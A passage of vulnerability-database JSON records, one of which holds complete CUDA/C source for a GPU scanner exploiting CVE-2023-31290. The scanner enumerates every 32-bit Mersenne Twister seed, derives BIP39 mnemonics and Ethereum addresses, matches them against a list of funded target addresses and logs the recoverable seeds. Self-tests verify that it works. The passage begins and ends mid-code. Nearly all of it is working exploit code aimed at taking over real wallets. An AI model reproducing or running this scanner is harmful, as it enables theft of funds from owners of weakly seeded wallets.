(uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s < my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n > my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&g_hits, 0);\n        double r = done / (sec > 0.001 ? sec : 0.001);\n        double eta = r > 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T00:01:26.483307Z"}, {"uuid": "91a7d2dc-a124-41a3-8cfe-9d0302fed893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/bc95b714cf2b6e3c53d09b5dc7cabc69", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n         ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n  p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i < 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i < 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e & f) ^ ((~e) & g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n >= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n >= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i < 128; i++) {\n    uint8_t k = (i < klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i < 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j < 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i < 624; i++) {\n    uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n    if (y & 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i < 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y >> 11;\n    y ^= (y << 7) & 0x9d2c5680u;\n    y ^= (y << 15) & 0xefc60000u;\n    y ^= y >> 18;\n    ent[i] = (uint8_t)(y & 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i < 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i < 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i < 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e & f) ^ ((~e) & g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w < 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j < 11; j++) {\n      int p = bit + j;\n      idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i >= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n  EC_GROUP *group;\n  BN_CTX *bn;\n  BIGNUM *order, *k, *t;\n  EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n  e->group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n  e->bn = BN_CTX_new();\n  e->order = BN_new();\n  e->k = BN_new();\n  e->t = BN_new();\n  e->P = e->group ? EC_POINT_new(e->group) : NULL;\n  if (!e->group || !e->bn || !e->order || !e->k || !e->t || !e->P) return -1;\n  return EC_GROUP_get_order(e->group, e->order, e->bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n  if (e->P) EC_POINT_free(e->P);\n  if (e->t) BN_free(e->t);\n  if (e->k) BN_free(e->k);\n  if (e->order) BN_free(e->order);\n  if (e->bn) BN_CTX_free(e->bn);\n  if (e->group) EC_GROUP_free(e->group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n  if (!BN_bin2bn(priv, 32, e->k)) return -1;\n  if (EC_POINT_mul(e->group, e->P, e->k, NULL, NULL, e->bn) != 1) return -1;\n  size_t want = compressed ? 33 : 65;\n  point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n  if (EC_POINT_point2oct(e->group, e->P, form, out, want, e->bn) != want) return -1;\n  return 0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n  if (!BN_bin2bn(key, 32, e->k) || !BN_bin2bn(il, 32, e->t)) return -1;\n  if (BN_is_zero(e->t) || BN_cmp(e->t, e->order) >= 0) return -1;\n  if (BN_mod_add(e->k, e->k, e->t, e->order, e->bn) != 1) return -1;\n  if (BN_is_zero(e->k)) return -1;\n  return BN_bn2binpad(e->k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index & 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n  } else {\n    if (priv_to_pub(e, key, data, 1) != 0) return -1;\n  }\n  data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n  data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (tweak_add(e, key, I) != 0) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n    0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n    0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n    0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n    0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n    0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n    0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1,  3,  6,  10, 15, 21, 28, 36, 45, 55, 2,  14,\n                                     27, 41, 56, 8,  25, 43, 62, 18, 39, 61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7,  11, 17, 18, 3, 5,  16, 8,  21, 24, 4,\n                                     15, 23, 19, 13, 12, 2, 20, 14, 22, 9,  6,  1};\nstatic void keccakf(uint64_t st[25]) {\n  for (int round = 0; round < 24; round++) {\n    uint64_t bc[5];\n    for (int i = 0; i < 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n    for (int i = 0; i < 5; i++) {\n      uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] << 1) | (bc[(i + 1) % 5] >> 63));\n      for (int j = 0; j < 25; j += 5) st[j + i] ^= t;\n    }\n    uint64_t t = st[1];\n    for (int i = 0; i < 24; i++) {\n      int j = KECCAKF_PILN[i];\n      bc[0] = st[j];\n      st[j] = (t << KECCAKF_ROTC[i]) | (t >> (64 - KECCAKF_ROTC[i]));\n      t = bc[0];\n    }\n    for (int j = 0; j < 25; j += 5) {\n      uint64_t tmp[5];\n      for (int i = 0; i < 5; i++) tmp[i] = st[j + i];\n      for (int i = 0; i < 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) & tmp[(i + 2) % 5];\n    }\n    st[0] ^= KECCAKF_RNDC[round];\n  }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  uint64_t st[25];\n  memset(st, 0, sizeof(st));\n  uint8_t *s = (uint8_t *)st;\n  const size_t rsiz = 136;\n  while (inlen >= rsiz) {\n    for (size_t i = 0; i < rsiz; i++) s[i] ^= in[i];\n    keccakf(st);\n    in += rsiz;\n    inlen -= rsiz;\n  }\n  for (size_t i = 0; i < inlen; i++) s[i] ^= in[i];\n  s[inlen] ^= 0x01;\n  s[rsiz - 1] ^= 0x80;\n  keccakf(st);\n  memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd < 0) return -1;\n  struct stat st;\n  if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  uint8_t kh[32];\n  keccak256((const uint8_t *)\"\", 0, kh);\n  char khex[65];\n  static const char *hh = \"0123456789abcdef\";\n  for (int i = 0; i < 32; i++) { khex[2 * i] = hh[kh[i] >> 4]; khex[2 * i + 1] = hh[kh[i] & 0xf]; }\n  khex[64] = 0;\n  if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n    printf(\"host keccak empty FAIL %s\\n\", khex);\n    return 1;\n  }\n  printf(\"host keccak empty PASS\\n\");\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64], addr[20];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  EcTls e;\n  if (ec_tls_init(&e) != 0) return 1;\n  int rc = eth_from_seed64(&e, seed, addr);\n  ec_tls_free(&e);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&d_out, 64));\n  k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  EcTls e;\n  if (ec_tls_init(&e) != 0) return 1;\n  uint8_t addr[20];\n  eth_from_seed64(&e, got, addr);\n  ec_tls_free(&e);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    EcTls e;\n    if (ec_tls_init(&e) != 0) {\n      fprintf(stderr, \"ec_tls_init fail\\n\");\n    } else {\n#pragma omp for schedule(static)\n    for (int i = 0; i < n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(&e, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&hits_mu);\n        __sync_fetch_and_add(&g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    }\n    ec_tls_free(&e);\n  }\n#else\n  EcTls e;\n  if (ec_tls_init(&e) != 0) return;\n  for (int i = 0; i < n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(&e, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n  ec_tls_free(&e);\n#endif\n  __sync_fetch_and_add(&g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL << 32;\n  int threads = 256;\n  if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev < 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i < argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&ndev));\n  if (ndev < 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 << 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev > 0 ? ndev : 1);\n  if (g_inner_threads < 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    